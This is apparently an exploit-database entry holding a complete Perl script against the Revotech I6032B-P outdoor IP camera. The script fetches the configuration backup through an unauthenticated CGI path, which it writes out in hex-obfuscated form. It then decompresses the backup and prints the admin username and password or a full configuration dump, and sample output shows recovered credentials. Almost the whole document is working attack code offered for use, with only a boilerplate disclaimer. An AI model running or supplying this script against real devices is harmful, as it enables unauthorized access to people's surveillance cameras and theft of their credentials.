I6032B-P POE 2.0MP Outdoor Camera – Remote Configuration Disclosure
# Exploit Title: I6032B-P POE 2.0MP Outdoor Camera - Remote Configuration Disclosure # Author: Todor Donev # Date: 2020-02-23 # Vendor: https://www.revotec.com/ # Product Link: # CVE: N/A #!/usr/bin/perl # # Revotech I6032B-P POE 1920x1080P 2.0MP Outdoor Camera Remote Configuration Disclosure # # Copyright 2020 (c) Todor Donev # # https://donev.eu/ # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # [ Revotech I6032B-P POE 1920x1080P 2.0MP Outdoor Camera Remote Configuration Disclosure # [ ===================================================================================== # [ Exploit Author: Todor Donev 2020 <todor.donev@gmail.com> -- https://donev.eu/ # [ Initializing the browser # [ >> User-Agent => Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i686-pc-linux; X11) # [ >> Content-Type => application/x-www-form-urlencoded # [ << Connection => close # [ << Date => Sun, 23 Feb 2020 10:57:32 GMT # [ << Accept-Ranges => bytes # [ << Server => thttpd/2.25b 29dec2003 # [ << Content-Length => 23876 # [ << Content-Type => application/octet-stream # [ << Last-Modified => Sun, 23 Feb 2020 10:57:32 GMT # [ << Client-Date => Sun, 23 Feb 2020 10:57:44 GMT # [ << Client-Response-Num => 1 # [ # [ Username : admin # [ Password : admin use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster 'gunzip'; my $host = shift || ''; # Full path url to the store my $cmd = shift || ''; # show - Show configuration dump $host =~ s/\/$//; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print "[ Revotech I6032B-P POE 1920x1080P 2.0MP Outdoor Camera Remote Configuration Disclosure\n"; print "[ =====================================================================================\n"; print "[ Exploit Author: Todor Donev 2020 <todor.donev\@gmail.com> -- https://donev.eu/\n"; if ($host !~ m/^http/){ print "[ Usage, Password Disclosure: perl $0 https://target:port/\n"; print "[ Usage, Show Configuration : perl $0 https://target:port/ show\n"; exit; } print "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); # my $target = $host."/config_backup.bin"; # my $target = $host."/tmpfs/config_backup.bin"; my $target = $host."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69"; my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded"]); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; print "[ Exploit failed! Not vulnerable.\n" and exit if ($response->code ne 200); my $gzipped = $response->content(); my $config = gunzip($gzipped); print "[ \n"; if ($cmd =~ /show/) { print "[ >> Configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,$config); exit; } else { print "[ Username : ", $1, "\n" if ($config =~ /username=(.*)/); print "[ Password : ", $1, "\n" if ($config =~ /password=(.*)/); exit; } |